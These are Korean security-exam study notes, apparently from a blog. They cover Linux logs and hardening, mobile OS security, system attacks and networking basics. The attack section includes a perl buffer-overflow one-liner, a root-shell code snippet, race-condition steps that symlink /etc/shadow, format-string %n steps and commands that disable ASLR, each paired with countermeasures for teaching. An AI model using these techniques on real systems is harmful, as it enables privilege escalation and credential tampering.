/var/run/utmp	현재 로그인한 사용자의 상태정보를 담고 있는 로그파일 파일 형태 : binary 로그 확인 : w, who, finger 명령
/var/log/wtmp	사용자의 성공한 로그인/로그아웃 정보, 시스템의 boot/shutdown 정보에 대한 히스토리를 담고 있는 로그파일 파일 형태 : binary 로그 확인 : last 명령
/var/log/btmp	실패한 로그인 시도에 대한 기록을 담고 있는 파일 파일 형태 : binary 로그 확인 : lastb 명령
/var/log/lastlog	가장 최근에 성공한 로그인 기록을 담고 있는 있는 로그 파일 파일 형태 : binary 로그 확인 : lastlog 명령
/var/account/pacct	시스템에 로그인한 모든 사용자가 로그아웃할 때까지 입력한 명령어와 터미널의 종류 등 저장한 로그 - accton /var/account/pacct 명령으로 로그파일 생성 파일 형태 : binary 로그 확인 : lastcomm 명령
/계정별 홈 디렉터리 /.쉘종류_history	계정별로 실행한 명령어에 대한 기록을 저장한 파일로 계정별 홈 디렉터리에 존재 파일 형태 : 텍스트 로그 확인 : history 명령, vi 등의 편집기
/var/log/secure	주로 사용자/그룹 생성/삭제, 로그인 등의 사용자 인증에 대한 정보를 기록하고 있는 로그파일(원격에서 접속한 내역과 su 명령을 수행한 내역 등이 저장) 파일 형태 : 텍스트 로그 확인 : vi 등의 편집기
/var/log/message	가장 기본적인 시스템 로그파일로 시스템 운영에 대한 전반적인 메시지를 저장(시스템 데몬들의 실행상황과 내역, 접속정보, 접근 제어 정보 등을 저장) 파일 형태 : 텍스트 로그 확인 : vi 등의 편집기
/var/log/dmesg	부팅될 때 출력되는 모든 메시지를 기록(부팅 시의 에러나 조치사항을 이 파일에서 참조) 파일 형태 : 텍스트 로그 확인 : dmesg 명령, vi 등의 편집기
/var/log/boot.log	부팅될 때 파일시스템에 대한 체크, 서비스 데몬들의 실행 상태 등을 기록하고 있는 로그파일(성공/실패를 확인) 파일 형태 : 텍스트 로그 확인 : vi 등의 편집기
/var/log/cron	동작 중인 cron 데몬이 수행한 정기적인 작업을 기록한 로그파일 파일 형태 : 텍스트 로그 확인 : vi 등의 편집기

/var/log/maillog	동작 중인 메일서버의 메일 송수신 관련 작업을 기록한 로그파일 파일 형태 : 텍스트 로그 확인 : vi 등의 편집기
/var/log/xferlog	FTP 서비스 로그파일로서 vsFTP, ProFTP 등 다양한 FTP 서버 프로그램에서 서비스 내역을 기록 - FTP 의 다양한 정보를 상세하게 기록
	1. 전송 날짜 및 시간 : Thu May 7 05:12:30 2012 형식
	2. 전송 소요 시간 : 초 단위
	3. 원격 호스트 주소 : 도메인 명 또는 IP 주소
	4. 전송 파일 크기 : 바이트 단위
	5. 전송 파일명 : 전송된 파일의 경로
	6. 전송 유형 : a(아스키/텍스트 전송), b(바이너리 전송)
	7. 액션 플래그 : _(액션 없음), C(압축), U(압축 해제), T(아카이브)
	8. 전송 방향 : i(파일 업로드), o(파일 다운로드), d(파일 삭제)
	9. 접근 방식 : r(로컬 계정), a(익명 계정), g(게스트 계정)
	10. 사용자명 : abc
	11. 서비스명 : 호출된 서비스(일반적으로 ftp 서비스)
	12. 인증 방법 : 0(없음), 1(RFC931 인증)
	13. 인증된 사용자 : *(인증된 사용자 ID 를 사용할 수 없는 경우)
	14. 완료 상태 : c(전송 성공), i(전송 실패)

tishac.tistory.com

리눅스 관리

계정 관리	설명
root 이외의 UID 가 0 금지	root 의 UID 를 가진 계정이 존재하지 않도록 확인 - root 와 동일한 UID 를 가진 계정 존재 시 root 권한으로 시스템 접근이 가능
	1. /etc/passwd 파일에 root 이외에 UID 가 0 인 계정이 존재하는지 확인
	2. usermod -u [UID 500 이상] [계정명] 명령으로 해당 계정의 UID 를 변경
패스워드 복잡성 설정	사용자 계정 암호를 유추하기 쉽게 설정하면 비인가자의 시스템 접근을 허용하게 하는 위험이 존재 /etc/security/pwquality.conf 파일에서 패스워드 복잡성을 설정
	minlen = 8 : 패스워드의 최소 길이를 8 자로 설정
	lcredit = -1 : 소문자 최소 1 개로 설정
	ucredit = -1 : 대문자 최소 1 개로 설정
	dcredit = -1 : 숫자 최소 1 개로 설정
	ocredit = -1 : 특수문자 최소 1 개로 설정

패스워드 최소 길이 설정	패스워드 무작위 공격이나 추측 공격에 대응하기 위해 패스워드 최소길이 설정 필요 /etc/login.defs 파일에서 PASS_MIN_LEN 8 설정
패스워드 최대 사용기간 설정	패스워드 최대 사용 기간을 설정하지 않으면 일정 기간 경과 후에도 유출된 패스워드로 접속할 수 있음 /etc/login.defs 파일에서 PASS_MAX_DAYS 90 설정
패스워드 최소 사용기간 설정	패스워드 최소 사용 기간을 설정하지 않으면 사용자에게 익숙한 패스워드로 변경할 수 있음 - 패스워드를 재사용하면 패스워드의 정기적인 변경은 무의미 /etc/login.defs 파일에서 PASS_MIN_DAYS 1 설정
패스워드 파일 보호	패스워드를 암호화하여 보호하여야 함 - 패스워드 정보를 평문으로 저장하는 경우 정보 유출 피해가 발생
	1. /etc/passwd 파일의 패스워드 필드가 x 표시되는지 확인
	2. pwconv 명령을 통해 일반 패스워드 정책을 shadow 패스워드 정책으로 변경
로그인이 불필요한 계정	로그인을 금지하도록 설정 /etc/passwd 파일에서 해당 계정의 로그인 쉘을 /bin/false 또는 /sbin/nologin 으로 설정
Session Timeout 설정	일정 시간 이후 어떠한 이벤트가 발생하지 않으면 연결을 종료하는 설정이 필요 - 계정이 접속된 상태로 방치하면 권한이 없는 사용자에게 중요시스템이 노출되어 악의적인 목적으로 사용될 수 있음
	1. /etc/profile 또는 /etc/.profile 파일에서
	2. TMOUT=600 설정
	3. export TMOUT 설정

tishac.tistory.com

파일 및 디렉터리 관리	설명
root 홈, 패스 디렉터리 권한 및 패스 설정	root 계정의 PATH 환경변수에 "."가 앞에 또는 중간에 포함되어 있는지 확인 - root 계정으로 접속한 관리자가 의도하지 않은 현재 디렉터리에 위치하고 있는 명령어가 실행될 수 있음
	1. echo $PATH 명령으로 PATH 경로 확인
	2. /etc/profile 또는 $HOME/.bash_profile 파일에서 $PATH 변수 설정(.을 제거/뒤로 이동)
파일 및 디렉터리 소유자/소유그룹 설정	소유자/소유그룹이 존재하지 않은 파일 및 디렉터리는 현재 없는 소유자/소유그룹의 소유였거나, 관리 소홀로 인해 생긴 파일일 가능성이 있음 - 사용하지 않는 디렉터리나 파일일 경우 시스템 자원의 낭비가 될 수 있음 - 중요 파일 및 디렉터리일 경우 관리가 되지 않는 문제가 있음
	1. find / ₩(-nouser -o -nogroup ₩) -exec ls -al {} ₩; 명령으로 소유자/소유그룹이 존재하지 않는 파일/디렉터리 검색
	2. chown [계정명] [파일 및 디렉터리명] 명령으로 소유자 변경
	3. chgrp [그룹명] [파일 및 디렉터리명] 명령으로 소유그룹 변경

World writable 파일 점검	모든 사용자에게 쓰기 권한이 부여된 파일은 일반 사용자의 실수 또는 악의적으로 주요 파일 정보를 변경할 수 있음 - 시스템 장애나 추가적인 공격에 활용될 수 있는 문제점이 있음
	1. find / -perm -2 -exec ls -al {} ₩; 명령으로 일반 사용자에 쓰기 권한이 부여된 파일 검색
	2. chmod o-w [파일 명] 명령으로 대상 파일의 일반 사용자 권한에 쓰기 권한을 제거
주요 파일 소유자 및 권한 설정	/etc/passwd 파일은 사용자 정보를 담고 있는 파일로 root 소유의 644 권한을 권장
	/etc/shadow 파일은 암호화된 패스워드를 담고 있는 파일로 root 소유의 400 권한을 권장
	/etc/hosts 파일은 IP 와 호스트 이름을 매핑하는 파일로 root 소유의 600 권한을 권장
	/etc/(x)inetd.conf 파일은 (x)inetd 데몬에 대한 설정 파일로 root 소유의 600 권한을 권장
	/etc/syslog.conf 파일은 syslogd 데몬에 대한 설정 파일로 root 소유의 644 권한을 권장
	/etc/services 파일은 서비스 관리 정보를 담고 있는 파일로 root 소유의 644 권한을 권장
find	find 명령은 시스템 내에 있는 파일 중에서 사용자가 원하는 파일을 찾을 때 사용 권한으로 찾기 : find / -perm -4000 (SUID 권한이 있는 파일) 속성으로 찾기 : find / -type f -mtime -5 (정규 파일 중 마지막 수정일이 5 일 미만) 이름으로 찾기 : find / -name "passwd" (파일이름이 passwd) 크기로 찾기 : find / -type f -size -5M (정규 파일 중 크기가 5M 미만)

서비스 관리	설명
불필요한/취약한 서비스 비활성화	echo : DoS 공격에 취약한 Simple TCP 서비스 주석처리
	discard : DoS 공격에 취약한 Simple TCP 서비스 주석처리
	daytime : DoS 공격에 취약한 Simple TCP 서비스 주석처리
	chargen : DoS 공격에 취약한 Simple TCP 서비스 주석처리
	rlogin : 인증 없이 관리자의 원격 접속을 가능하게 하는 r 계열 서비스 주석처리
	rsh : 인증 없이 관리자의 원격 접속을 가능하게 하는 r 계열 서비스 주석처리
	rexec : 인증 없이 관리자의 원격 접속을 가능하게 하는 r 계열 서비스 주석처리
	rpc.cmsd : 서버 응용 프로그램에 접근하여 작업 호출을 할 수 있는 rpc 서비스 주석처리
	rusersd : 서버 응용 프로그램에 접근하여 작업 호출을 할 수 있는 rpc 서비스 주석처리
	finger : 원격 시스템의 사용자 정보를 조회하는 서비스 주석처리
	tftp : 사용자 인증 없는 평문통신 FTP 서비스 주석처리
	talk : 암호화나 보안 기능이 부족하게 설계된 실시간 채팅을 위한 서비스 주석처리

로그 관리	설명
원격 로그 서버 운영	1. 받는 서버에서 /etc/rsyslog.conf 파일에서 $UDPServerRun 514 를 추가하여 기본 포트 설정
	2. 받는 서버에서 ps -ef | grep rsyslogd 명령으로 rsyslogd 데몬 구동 여부 확인

	3. 받는 서버에서 netstat -enup | grep rsyslogd 명령으로 514/udp 포트 오픈 여부 확인
	4. 받는 서버에서 iptables -A INPUT -p udp --dport 514 -j ACCEPT 설정으로 514/udp 포트를 허용
	5. 보낼 서버에서 /etc/rsyslog.conf 파일에서 *.* [@받는 서버 주소] 추가하여 해당 서버에 로그를 남기도록 설정
로그 모니터링	텍스트 형식의 로그를 실시간으로 모니터링 - 텍스트 형식의 로그파일은 tail -f /var/log/[로그파일] 명령을 통해 실시간으로 확인 - binary 로그파일은 별도의 명령어를 이용하여 확인 리눅스 : /var/log 디렉터리에 주로 저장 유닉스 : /var/adm 디렉터리에 주로 저장

모바일 기본

iOS	
애플에서 개발한 폐쇄형 모바일 운영체제로, 보안성을 최우선으로 설계되어 있으며 애플이 철저히 관리하는 중앙집중식 업데이트 및 앱 배포 체계를 갖춤 - 보안상의 문제점은 대부분 탈옥한 기기에서 발생 - 모든 소프트웨어는 애플 암호화 로직의 서명된 방식에 의해 무결성이 확인된 후에만 동작	
iOS 특징	**설명**
시스템 소프트웨어 개인화	모든 소프트웨어를 애플의 아이튠즈를 통해 일괄적으로 배포하고 있으며, 문제에 즉각적 대응을 할 수 있도록 함
응용 프로그램 서명	모든 앱은 애플의 서명을 요구하며, 코드 무결성이 확인되지 않으면 설치 불가
샌드박스 활용	엄격하게 프로그램 간 데이터 통신 통제

tishac.tistory.com

Android	
구글에서 개발한 오픈소스 기반의 모바일 운영체제로, 다양한 제조사와 앱 개발자에게 개방되어 있어 유연 - 루팅을 통해 최상위 권한을 얻을 수 있음	
Android 특징	**설명**
응용 프로그램 권한 관리	사용자의 데이터에 접근할 때 모든 사항을 응용 프로그램 사양에 명시하고, 접근 시 사용자의 동의를 받음
응용 프로그램 서명	응용 프로그램의 개발자가 서명하도록 함
샌드박스 활용	상대적으로 자유로운 형태의 어플리케이션 실행이 가능

시스템 공격

패스워드 크래킹
악의적인 목적을 가지고 시스템에 침입하는 행위로 크래킹 기술을 통해 사용자의 ID, 패스워드를 찾는 도구로 활용 - 공격 원리는 ID, 패스워드를 대입하여 맞는지, 틀리는지를 지속적으로 수행해보는 방법 John the Ripper : 패스워드 점검도구로 가장 잘 알려진 프로그램 pwdump : 윈도우에서 패스워드를 덤프할 수 있는 도구

L0phtCrack : 원격 및 로컬 서버나 PC 에 대하여 패스워드를 점검
ipccrack : 사용자 계정 패스워드를 원격지에서 추측하여 취약점을 점검하는 도구
chntpw : 물리적 접근이 가능한 시스템에서 패스워드를 리셋시키는 프로그램
ERD Commander : 윈도우 시스템에서 패스워드를 복구해야 하는 경우에 사용

크래킹 공격	설명
사전 공격	패스워드에 자주 사용하는 사전에 있는 단어 등을 미리 사전 파일로 만든 후 이를 하나씩 대입
무차별 공격	패스워드에 사용될 수 있는 문자열의 범위를 정하여 그 범위 내에서 생성 가능한 모든 패스워드를 생성하여 이를 하나씩 대입
혼합 공격	사전 공격과 무차별 공격을 혼합한 방식으로 사전 파일에 있는 문자열에 문자, 숫자 등을 추가로 무작위 대입
레인보우 테이블 공격	해시 테이블과 R 함수의 반복 수행을 통해 일치하는 해시값을 통해서 패스워드를 찾아냄 - 윈도우의 LM 패스워드를 몇 분 만에 크래킹하여 유명해짐

버퍼 오버플로우 공격

연속된 메모리 공간을 사용하는 프로그램에서 할당된 메모리의 범위를 넘어선 위치에 자료를 읽거나 쓰려고 할 때 버퍼 오버플로우가 발생
- 프로그램의 오작동, 악의적인 코드를 실행시켜 공격자가 프로그램을 통제할 수 있는 권한을 획득
null 문자 : 0x00(₩0)으로 문자열의 끝을 표현
문자열 정의 : ABCD 라는 4 개의 문자로 구성된 문자열을 정의하면 ABCD₩0
argc : 전달되는 매개변수의 개수
argv[0] : 프로그램 명
argv[1] : 입력 문자열
perl 스크립트 : [프로그램] `perl -e 'print "A"x16, "[메모리 주소]"'` 명령을 통해 main 함수 호출이 끝나면 RET 영역의 주소를 참조하여 Shell_code 실행(root 권한의 쉘 획득)

nac.tistory.com

버퍼 오버플로우 분류	설명
스택 버퍼 오버플로우	스택이 할당된 버퍼들이 정의된 버퍼의 한계치를 넘는 경우 - 복귀 주소를 변경하고 공격자가 원하는 임의 코드를 실행
힙 버퍼 오버플로우	힙에 할당된 버퍼들이 최초 정의된 힙의 메모리 사이즈를 넘는 경우 - 데이터와 함수 주소 등을 변경하여 공격자가 원하는 임의 코드를 실행
버퍼 오버플로우 대응방안	**설명**
스택 가드	메모리상에서 프로그램의 복귀 주소와 변수 사이에 특정 값을 저장 - 그 값이 변경되었을 경우 프로그램 실행을 중단
스택 쉴드	함수 시작 시 복귀 주소를 글로벌 RET 라는 특수 스택에 저장 - 함수 종료 시 저장된 값과 스택의 RET 값을 비교해 다를 경우 프로그램 실행을 중단
ASLR	주소 공간 배치를 난수화하여 실행 시마다 메모리 주소를 변경 - 악성코드에 의한 특정주소 호출을 방지 echo 0 > /proc/sys/kernel/randomize_va_space (난수화 안함) echo 1 > /proc/sys/kernel/randomize_va_space (힙 제외 모두 난수화)

	echo 2 > /proc/sys/kernel/randomize_va_space (모두 난수화)
보안 코딩	strlen(argv[1]) >= sizeof(buffer) 를 통해 입력 문자열이 버퍼보다 큰 경우 exit(1) 하도록 함

메모리 구조
1. text 영역 : 프로그램 코드와 상수가 저장되어 있고 읽기만 가능한 영역
2. Data 영역 : 전역 변수와 정적 변수가 저장되어 있는 영역
3. Heap 영역 : 필요에 따라 동적 메모리 호출에 의해 할당되는 메모리 영역
4. Stack 영역 : 함수 인자 값, 함수 내의 지역 변수, 함수의 반환 주소 등이 저장되는 영역 - 상위 메모리 주소에서 하위 메모리 주소로 데이터가 저장

Shell_code

```
shell_code()
{
        setreuid(0, 0); //ruid 와 euid 를 root 로 설정
        setregid(0, 0); //rgid 와 egid 를 root 그룹으로 설정
        system("/bin/bash"); //root 및 root 그룹으로 쉘 실행
}
```

레이스 컨디션 공격

둘 이상의 프로세스나 스레드가 공유자원에 동시에 접근할 때 악의적인 프로그램을 통해 그 프로세스의 실행 중에 끼어들어 악의적인 행위를 수행

ishac.tistory.com

- 접근하는 순서에 따라 비정상적인 결과가 발생하는 조건/상황

임시 파일 : 실행되는 프로세스가 임시로 만드는 정상적인 파일

목적 파일 : 프로세스 실행 중에 끼어들어 임시파일을 심볼릭 링크한 파일

레이스 컨디션 공격 대응방안	설명
임시파일 생성 금지	가능하면 임시파일을 생성하지 않도록 함
파일 생성/쓰기 금지	파일 생성 시 이미 동일한 파일이 존재하는 경우 생성/쓰기 금지
링크파일 실행 중단	사용하고자 하는 파일에 링크가 걸려있으면 실행을 중단
umask 확인	최하 022 정도로 유지하여 임시로 생성한 파일이 삭제되지 않도록 함

레이스 컨디션 공격 과정
1. 목적파일에 데이터를 쓸 수 있는 소스파일 생성 - 파일에 데이터를 쓸 수 있는 코드
2. 소스파일을 컴파일하여 setuid 설정 - 실행 중인 동안에 root 권한으로 파일 접근
3. ln -s /etc/shadow /tmp/tmp.dat - 임시파일(tmp.dat)에 심볼릭 링크를 생성
4. 컴파일한 실행파일 [목적파일] [조작 값] - 목적파일이 가리킨 파일 조작

포맷 스트링 공격
외부로부터 입력된 값을 검증하지 않고 입출력 함수의 포맷 스트링을 그대로 사용하는 경우 포맷 스트링 공격 발생 %d : 10 진수 정수 출력 %f : 실수 출력 %c : 문자 출력 %s : 문자열 출력 %x : 16 진수 정수 출력 %n : 이전까지 출력한 총 바이트 수를 지정한 변수에 저장(값을 저장하는 용도로 사용) - 프로세스를 죽게 만듦, 프로세스 메모리 보기, 임의의 메모리 덮어쓰기 행위가 가능 - C 언어의 printf() 등의 함수에서 사용하는 문자열의 입/출력 형태를 정의하는 문자열로 서식 문자열이라 표현
포맷 스트링 공격 과정
1. %x 을 통해 메모리 내용 참조 및 원하는 위치로 이동
2. %n 을 통해 Return Address 를 악성코드가 위치한 주소로 변조하여 실행

포맷 스트링 공격 대응방안	설명
직접 사용 금지	printf(argv[1]); 를 printf("%s", argv[1]); 로 포맷 스트링을 지정 - 함수 사용 시 포맷 스트링을 지정하여 간접적으로 참조가 되도록 함

백도어
시스템의 보안을 약화시키고 비인가자가 시스템에 불법적으로 접근할 수 있음 - 서비스 기술자나 유지보수 프로그래머의 접근 편의를 위해 시스템 설계자가 고의적으로 만들어 놓은 통로

백도어 대응방안	설명
현재 동작 중인 프로세스 확인	정상프로세스를 외워두고 Csrss, Svchost 등 확인
H-IDS 사용	백도어가 특정 포트에 대하여 대기하고 있기 때문에 포트의 활동을 탐지

시스템 자원 고갈 공격
CPU 사용률 높이거나 메모리를 소모하도록 하여 시스템의 정상적인 동작을 방해

시스템 자원 고갈 공격 종류	설명
가용 디스크 자원 고갈 공격	파일을 생성하고 이 파일에 계속 내용을 써 나가 가용 디스크 자원을 고갈 시키는 공격
가용 메모리 자원 고갈 공격	malloc() 함수를 통해 메모리 할당만 계속 수행하여 가용 메모리 자원을 고갈 시키는 공격
가용 프로세스 자원 고갈 공격	fork() 라는 프로세스 할당 함수만을 무한대로 사용하여 가용 프로세스의 자원을 고갈 시키는 공격
프로세스 죽이기 공격	공격자가 루트 권한을 획득한 상태에서 스크립트를 통해 사용중인 프로세스를 죽여 서비스가 동작하지 못하게 하는 공격

시스템 보안

보안 운영체제	
시스템을 보호하기 위해 기존의 운영체제 내에 보안기능을 통합 - 보안커널을 추가로 이식한 운영체제 메모리 보호 보조기억장치 상의 파일 또는 데이터의 집합 보호 메모리상에서 실행 중인 프로그램 보호 파일들의 디렉터리 보호 하드웨어 장치 보호	
보호방법	**설명**
물리적 분리	사용자별로 별도의 장비만 사용하도록 제한하는 방법
시간적 분리	프로세스가 동일 시간에 하나씩만 실행되도록 하는 방법
논리적 분리	각 프로세스에 논리적인 구역을 지정하는 방법
암호적 분리	내부에서 사용되는 정보를 외부에서 알 수 없도록 암호화하는 방법
파일 보호기법	**설명**
이름 명명	파일의 이름을 추측하기 어렵게 변경
패스워드 설정	패스워드를 알아야만 파일을 이용할 수 있게 하는 방법
암호화 설정	파일 내용 자체를 암호화하여 인가된 사용자만 그 내용을 파악

tishac.tistory.com

보안커널
TCB 내에 있는 하드웨어, 소프트웨어, 펌웨어로 구성되며, 참조 모니터 개념을 구현하고 집행 - 주체와 객체 사이의 모든 접근과 기능을 중재 - TCB 의 핵심이고 신뢰할 수 있는 컴퓨터 시스템을 구축하기 위해 가장 보편적으로 사용
신뢰 컴퓨팅 기반(TCB)
운영체제와 하드웨어, 펌웨어, 소프트웨어 등이 포함된 컴퓨터 시스템 내의 총제적 보호 메커니즘 신뢰된 경로(TP) : 사용자, 프로그램 그리고 커널과의 통신채널 보안경계(SP) : 시스템의 구성요소 중 신뢰/비신뢰 구성요소의 경계로 가상의 경계선
참조 모니터
주체의 객체에 대한 모든 접근통제를 담당하는 추상머신 반드시 부정조작이 없어야 함 항상 무시되지 않고 호출되어야 함 모든 동작을 항상 분석과 테스트를 통해 확인할 수 있어야 함 - 참조모니터는 SKDB 를 참조하여 객체에 대한 접근허가 여부를 결정해야 함

신뢰 플랫폼 모듈
신뢰 컴퓨팅을 위한 하드웨어/소프트웨어 방법에서 핵심이 되는 하드웨어 모듈

신뢰 플랫폼 모듈 서비스	설명
인증된 부트 서비스	전체 운영체제를 단계적으로 부팅하고, 운영체제가 적재될 때 운영체제의 각 부분이 사용을 위해 승인된 버전임을 보장
인증 서비스	TPM 에 의해 설정이 완성되고 로그인 되면, TPM 은 다른 부분의 설정을 인증
암호화 서비스	특정 기계가 특정 설정으로 되어 있을 때만 그 기계에서 데이터를 복호화를 수행하는 방식으로 데이터의 암호화를 지원

보안 쉘	
암호 통신을 이용하여 네트워크상의 다른 컴퓨터에 접속 - 원격으로 명령을 실행하거나 파일을 조작하는 응용 프로그램 또는 프로토콜(22/tcp 포트 사용)	
보안 쉘 서비스	**설명**
원격 터미널	암호화된 원격 터미널 서비스 제공(Telnet 평문 서비스 대체)
파일 송수신	암호화된 파일 송수신 서비스 제공(FTP 평문 서비스 대체)

tishac.tistory.com

네트워크

네트워크 기본

OSI 7 Layer	설명
물리 계층	디지털 데이터를 전기적인, 광학적인 신호로 변환하여 입출력을 담당 - 물리 계층의 데이터 단위는 bit 허브 : 들어온 신호를 연결된 모든 포트로 전달하는 중계 장치 리피터 : 감쇠된 전송신호를 새롭게 생성하여 다시 전달해주는 재생 중계 장치
데이터 링크 계층	인접한 노드 간의 신뢰성 있는 프레임 전송을 담당 - 데이터 링크 계층의 데이터 단위는 frame - 프로토콜로 Ethernet, TokenRing, FDDI 등이 있음 스위치 : 내부적으로 MAC Address Table 을 가지고 있어서 스위치 포트에 연결된 노드의 MAC 정보를 담고 있음 브리지 : 물리적으로 떨어진 동일한 LAN 을 연결해주는 장비
	흐름제어를 통해 송신 노드가 수신 노드의 처리 속도를 고려하여 이를 초과하지 않도록 전송을 제어함 정지-대기 방식 : 송신 측에 프레임을 전송한 후 확인 응답을 받을 때 까지 대기 슬라이딩 윈도우 방식 : 응답을 받기 전에 수신 가능한 범위 내에서 여러 프레임을 전송
	오류제어를 통해 전송 중에 여러 가지 원인에 의한 오류나 손실 발생 시 이를 해결함 후진 오류 수정방식 : 데이터 전송 시 오류를 검출할 수 있는 부가 정보를 함께 전송(재전송이 필요한 방식으로 이러한 요청을 ARQ 라 함) 전진 오류 수정방식 : 데이터 전송 시 오류의 검출 및 수정까지 가능한 정보를 함께 전송(재전송이 불필요한 방식)
	회선제어를 통해 회선 구성 방식과 전송 방식에 따라 사용되는 전송 링크를 제어함 회선 구성 방식 : 둘 이상의 장치가 하나의 링크에 연결(점-대-점, 다중점) 전송 방식 : 연결된 두 개의 장치간에 신호 흐름의 방향(단방향, 반이중, 전이중)
네트워크 계층	종단노드 간에 라우팅을 담당 - 네트워크 계층의 데이터 단위는 Packet - 프로토콜로 IP, IPX 등이 있음 라우터 : 라우팅을 담당하는 장비로 최적의 경로를 선정해서 패킷을 포워딩
전송 계층	종단노드 간의 신뢰성 있는 데이터전송을 담당 - 전송 계층의 데이터 단위는 Segment - 프로토콜로 TCP, UDP, SCTP, SPX 등이 있음 L4 스위치 : 서버 트래픽 부하분산(SLB)과 Failover(장애조치) 기능을 제공
	신뢰성 있는 데이터전송 보장 기능 분할과 재조합 : 전송 가능한 세그먼트 단위로 분할하여 전송하면 목적지에서 재조합 연결제어 : 연결지향과 비연결지향 방식을 제공 흐름제어 : 상호 간에 수신할 수 있는 만큼만 전송하여 손실이 발생하지 않도록 제어 오류제어 : 종단노드 간 전송 중 오류 발생 시 이를 교정 혼잡제어 : 네트워크 혼잡도를 계산하여 전송량을 제어

세션 계층	어플리케이션 간 논리적인 연결인 세션의 생성, 관리 및 종료를 담당 - 세션 계층의 데이터 단위는 Data
표현 계층	데이터 표현방식 변환을 담당 - 표현 계층의 데이터 단위는 Data
응용 계층	사용자가 네트워크에 접근할 수 있는 인터페이스를 담당 - 응용 계층의 데이터 단위는 Data

TCP/IP	설명
네트워크 인터페이스 계층	인접한 노드 간에 신뢰성 있는 데이터 전송을 담당하는 계층 - node 를 식별하기 위한 물리적인 주소로 MAC 주소를 사용 MAC 주소 상위 24 비트 : 제조사 식별코드 MAC 주소 하위 24 비트 : 제조사가 할당한 일련번호
인터넷 계층	호스트 간의 라우팅을 담당하는 계층 - 호스트를 식별하기 위한 논리적인 주소로 IP 주소를 사용
전송 계층	프로세스간 신뢰성 있는 데이터전송을 담당하는 계층 - 프로세스를 식별하기 위한 주소로 Port 주소를 사용
응용 계층	네트워크 서버/클라이언트 프로그램을 담당하는 계층
	주요 프로토콜 FTP 에 대한 프로토콜 : 20/tcp(데이터 채널), 21/tcp(제어 채널) SMTP 에 대한 프로토콜 : 25/tcp(메일 전송), 110, 143/tcp(메일 수신) DNS 에 대한 프로토콜 : 53/tcp, udp(도메인 네임 서버) HTTP 에 대한 프로토콜 : 80/tcp(웹 서비스) SNMP 에 대한 프로토콜 : 161/udp(에이전트), 162/udp(매니저)
네트워크 카드(NIC)	회선에 데이터를 송수신하는 역할을 하는 네트워크 장비 네트워크 카드 Normal 모드 : 자신이 목적지가 아닌 패킷은 모두 폐기 네트워크 카드 Promisc 모드 : 자신이 목적지가 아닌 패킷도 모두 수신
MAC	신호변환을 통해 물리적 계층과 연결하고 MAC 주소를 통해 주소를 확인하여 정상적으로 데이터가 송수신되고 있는지 확인 MAC 의 담당 계층 : 물리적 계층과의 연결을 담당
LLC	상위 계층으로 안전하고 정상적인 데이터를 전달하기 위해 오류 검출 및 상위 프로토콜에 대한 타입을 확인 LLC 의 담당 계층 : 네트워크 계층과의 연결을 담당
캡슐화	상위 계층의 데이터가 하위계층으로 보내지면, 하위 계층 프로토콜은 자신의 기능 수행을 위해 필요한 부가 헤더를 추가
역캡슐화	수신 측에서는 상위 계층으로 데이터를 보낼 때 해당 계층의 헤더 정보를 확인한 후 이를 제거
다중화	하나의 기능을 여러 영역에서 동시에 사용하는 기법
역다중화	공유하는 기능으로부터 개별 영역으로 분할하는 기법

네트워크 장비

스위치	
유입된 프레임의 MAC 주소의 포트로만 프레임을 전달해주는 네트워크 장비 Fail Safe : 장애 발생 시 모든 기능을 허용하는 정책 Fail Secure : 장애 발생 시 모든 기능을 차단하는 정책 - 스위치와 같은 네트워크 장비는 가용성을 더 중시하기 때문에 대부분 Fail Safe 정책을 따름	
스위칭 방법	**설명**
Store-and-forward	들어오는 프레임을 전부 받아들인 다음에 처리를 시작하는 방식
Cut-Through	들어오는 프레임의 처음 48 비트만을 확인하여 처리를 시작하는 방식
Fragment-Free	위의 두 방식을 결합한 방식으로 처음 512 비트를 확인하여 처리를 시작하는 방식
스위치 기능	**설명**
Learning	프레임의 출발지 MAC 주소를 테이블에 생성하여 MAC 주소를 식별
Flooding	프레임의 MAC 주소가 테이블에 없을 경우 모든 포트로 프레임을 전송
Forwarding	테이블을 참조하여 전송할 프레임의 목적지 MAC 주소의 포트로 프레임을 전송
Filtering	목적지 외에는 프레임을 전송하지 않음
Aging	테이블에 저장된 MAC 주소를 유지하는 시간

라우터	
라우팅은 정적 또는 동적 방식을 통해 라우팅 테이블을 갱신하고 이를 통해 전송할 패킷의 최적 목적지 경로를 선정하여 전송하는 일련의 작업 정적 라우팅 : 관리자가 직접 라우팅 테이블을 설정하는 방식 동적 라우팅 : 라우팅 프로토콜을 이용하여 자동으로 경로를 탐색하고 패킷을 전달하는 방식 - AS 는 하나의 관리 도메인에 속해 있는 라우터의 집합	
라우팅 프로토콜	**설명**
IGP	자율 시스템(AS) 내부 라우팅 거리 벡터 : RIP, RIPv2, IGRP 링크 상태 : IS-IS, OSPF 하이브리드 : EIGRP
EGP	자율 시스템(AS) 간 라우팅 경로 벡터 : BGP
라우팅 테이블	**설명**
라우팅 테이블 용어	Genmask : 목적지 호스트, 목적지 네트워크, 기본 게이트웨이를 식별하기 위한 마스크
	Flags : 해당 경로에 대한 상태정보 플래그
IP 라우팅 규칙	1. 목적지 주소가 자신과 동일한 네트워크에 있다면 직접 전송
	2. 동일한 네트워크에 속하지 않는다면 1 차 경유지 주소를 라우팅 테이블을 참조하여 찾음

	3. 목적지가 자신일 경우 상위 계층으로 데이터를 전달
라우팅 테이블 검색 방식	1. IP 패킷의 목적지 IP 와 라우팅 테이블의 netmask/genmask 를 bit and(&)연산
	2. 연산 수행 후 라우팅 테이블의 destination 필드와 비교
	3. 일치하는 경로를 선택하여 패킷을 전송
라우팅 테이블 검색 우선순위	1. 먼저 목적지 호스트 주소와 일치하는 경로를 찾음
	2. 일치하는 경로가 없으면 목적지 네트워크 주소와 일치하는 경로를 찾음
	3. 일치하는 경로가 없으면 default gateway 로 보냄

프로토콜

ARP/RARP	설명
ARP	논리적인 IP 주소를 물리적인 MAC 주소로 변환해주는 역할을 하는 프로토콜 - 각 시스템은 ARP Cache 가 있고 ARP 요청을 통해 알아낸 MAC 정보는 Cache 에 일정시간 저장함
	1. 최초 상대방의 MAC 주소를 알지 못하기 때문에 ARP Request 를 브로드캐스트
	2. 상대방은 ARP Reply 를 만들어서 유니캐스트 방식으로 요청자에게 응답
	3. 각 시스템은 ARP Cache 가 있고 Cache 에 일정시간 동안 이 정보를 저장
RARP	물리적인 MAC 주소를 논리적인 IP 주소로 변환해주는 역할을 하는 프로토콜 - DHCP 가 RARP 의 역할을 대체
